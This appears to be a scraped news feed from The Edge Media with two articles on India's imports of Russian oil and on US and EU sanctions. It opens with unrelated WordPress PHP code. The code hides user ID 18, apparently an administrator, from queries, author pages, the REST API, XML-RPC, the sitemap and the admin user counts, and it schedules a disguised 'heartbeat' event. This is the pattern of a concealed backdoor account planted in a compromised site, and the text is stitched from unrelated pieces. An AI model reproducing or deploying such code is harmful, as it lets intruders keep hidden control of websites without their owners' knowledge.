add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Russia Says India Free to Buy Oil Globally, Sees No Change in Crude Import Strategy appeared first on The Edge Media.
]]>Responding to questions about recent claims made by United States President Donald Trump, Kremlin spokesperson Dmitry Peskov said Russia sees no change in India’s oil import policy. Trump had claimed that Prime Minister Narendra Modi agreed to stop buying Russian oil and instead switch to crude supplies from the United States and possibly Venezuela.
Peskov said Russia has not received any official communication from India indicating a halt in Russian oil imports. He added that India has always sourced petroleum products from multiple countries and that Russia has never been its sole supplier.
“We, along with all other international energy experts, are well aware that Russia is not the only supplier of oil and petroleum products to India. India has always purchased these products from other countries. Therefore, we see nothing new here,” Peskov said.
Russian Foreign Ministry spokesperson Maria Zakharova also addressed the issue, saying the hydrocarbons trade between India and Russia remains beneficial for both sides. Speaking at a press briefing, she said the energy partnership contributes to stability in the global energy market and that Moscow is ready to continue close cooperation with New Delhi.
Zakharova added that Russian oil supplies play a constructive role in global energy balance, particularly at a time of market volatility.
Russian business radio station Kommersant FM noted that while President Trump spoke of a deal to stop Russian oil purchases, Prime Minister Modi did not make any such reference in his public remarks.
Expert analysis on India’s oil imports
Energy experts say India is unlikely to completely halt Russian crude imports due to technical and economic constraints.
Igor Yushkov, a senior expert at the National Energy Security Fund, said American shale oil differs significantly from Russian crude in quality. He explained that US exports are primarily light grades, similar to gas condensate, while Russia supplies heavier, sulphur-rich Urals crude.
According to Yushkov, Indian refineries are designed to process heavier grades and would need to blend US oil with other varieties, increasing operational costs. As a result, a direct substitution would not be feasible.
He also pointed out that Russia typically exports between 1.5 million and 2 million barrels per day of crude to India, a volume that the United States would struggle to replace.
Yushkov suggested that Trump’s comments appear aimed at projecting a political victory in trade negotiations rather than reflecting market realities.
He recalled that when Russia redirected oil exports to Asia in 2022 after losing access to European markets, it cut production by around one million barrels per day. This contributed to oil prices surging to 120 dollars per barrel and led to record fuel prices in the United States.
Trump last year imposed steep tariffs on Indian goods, including a 25 per cent levy linked to India’s purchases of Russian energy, taking total tariffs to as high as 50 per cent in some cases.
India’s oil import landscape
India imports around 88 per cent of its crude oil requirements from overseas markets. Until 2021, Russian oil accounted for just 0.2 per cent of India’s total crude imports.
Following Western sanctions on Moscow after Russia’s invasion of Ukraine in February 2022, India emerged as the world’s largest buyer of discounted Russian crude.
However, recent data shows a moderation in imports. According to real-time analytics firm Kpler, India’s purchases of Russian crude fell to about 1.1 million barrels per day during the first three weeks of January. This is down from an average of 1.21 million barrels per day in December and over 2 million barrels per day at peak levels in mid-2023.
The post Russia Says India Free to Buy Oil Globally, Sees No Change in Crude Import Strategy appeared first on The Edge Media.
]]>The post India’s Russian Oil Trade Faces Uncertainty After New US and EU Sanctions appeared first on The Edge Media.
]]>However, the 69 billion dollar oil trade between India and Russia may not be coming to an immediate halt. Recent sanctions by Washington on Rosneft and Lukoil, two of Russia’s largest energy companies, and the European Union’s additional measures on Russian oil and gas, still leave gaps that allow the flow of crude to continue.
Analysts note that while the United States has targeted Russian firms, both Washington and Brussels have refrained from directly sanctioning Russian oil itself. This means Russian crude can still move freely in the international market. Refining officials in India have stated that local refiners are not violating any domestic or international laws when purchasing Russian oil, provided the sellers are not under direct sanctions.
Yet, short-term disruptions are expected. Orders for December deliveries may face complications as Russia scrambles to adjust to the new restrictions. About 70 percent of India’s Russian oil imports this year came from Rosneft and Lukoil, while another 8 percent came from Surgutneftegaz, which had already been sanctioned by the US earlier.
Energy expert Tatiana Mitrova from Columbia University’s Center on Global Energy Policy remarked that the real impact of these sanctions will depend on how strictly they are enforced rather than the headlines they make. The sanctions on Rosneft and Lukoil, announced in October 2025, could influence the flow of nearly five million barrels of oil per day from Russia. Rosneft alone supplied India with roughly 910,000 barrels daily, nearly half of India’s total imports from Russia this year.
This marks the second time since the Ukraine conflict began in 2022 that the United States has penalized Russian producers without banning the commodity itself. Despite earlier sanctions, Surgutneftegaz continued shipping to India, highlighting the flexibility within the sanctions system.
Meanwhile, the European Union sanctioned Russian liquefied natural gas but avoided penalizing Rosneft and Lukoil due to domestic energy dependencies. Experts such as George Voloshin from ACAMS pointed out that while Lukoil’s UAE-based trading arm was sanctioned, its Swiss unit remained untouched, revealing another gap in the restrictions.
Indian officials maintain that the country observes only United Nations sanctions and not unilateral measures imposed by individual nations. They clarify that since Russian oil itself is not under direct sanction, Indian companies are legally allowed to continue purchases.
According to Indian energy analyst Narendra Taneja, Western nations have deliberately avoided sanctioning Russian crude to prevent severe disruptions in global supply. He noted that oil prices have risen only slightly to around 65 dollars per barrel, showing that markets expect Russian crude to remain accessible.
Vandana Hari, an energy expert from Singapore, explained that a full-scale ban on Russian oil would have pushed global prices far higher, severely affecting US fuel costs. Other analysts, such as Sumit Ritolia from Kpler, agreed that Washington’s decision reflects a strategy to limit impact on the global economy while maintaining pressure on Russia.
Russian oil makes up nearly 6 percent of global supply, and eliminating it from trade would cause significant imbalances. Experts expect that while some disruption will occur in December and January, Moscow will soon find alternative trading routes through intermediaries.
According to Kpler data, tankers carrying Russian crude accounted for 3.6 million barrels per day this year, with Rosneft and Lukoil making up nearly half of that volume. The rest came from unverified sources, reflecting growing opacity in the trade as Russia works around restrictions.
The United States Treasury has allowed financial transactions with Rosneft and Lukoil until late November, after which a temporary decline in shipments is expected. However, once new intermediaries take over, supply levels are likely to stabilize.
Large international trading houses such as Glencore and Vitol have avoided Russian crude due to sanction risks, leaving smaller Dubai- and Hong Kong-based firms to handle the trade. Some of the key players include 2 Rivers DMCC, Amur Investments, Nexus Trading, and Coral Energy.
Should Russian crude disappear from the global market, prices would face upward pressure. The premium for Middle Eastern grades, which substitute Russian Urals crude, has already tripled compared to pre-sanction levels. Russia’s crude production reached 10.2 million barrels per day last year, representing around 12 percent of global output, with exports totaling 7 million barrels daily.
China, India, and Turkey remain the largest buyers of Russian oil, each preferring different crude varieties. Indian refiners favor the cheaper Urals blend, while China’s independent refiners prefer the lighter ESPO crude.
Indian state refiners such as Indian Oil and Bharat Petroleum are exploring ways to continue imports through non-sanctioned entities, expecting larger discounts. Private firms like Reliance Industries, however, may face difficulties under a long-term contract with Rosneft due to potential secondary sanctions on financial institutions involved in such transactions.
Reliance has stated that it will comply with international regulations while maintaining supplier relationships. The future of India-Russia oil trade will depend on multiple factors, including Russia’s response to Western diplomatic moves, enforcement of sanctions, and the size of discounts Moscow offers.
Experts predict that Russian oil discounts could expand by another three to eight dollars per barrel, and despite new measures, the actual impact on trade may remain limited as alternative networks emerge to keep Russian oil in circulation.
The post India’s Russian Oil Trade Faces Uncertainty After New US and EU Sanctions appeared first on The Edge Media.
]]>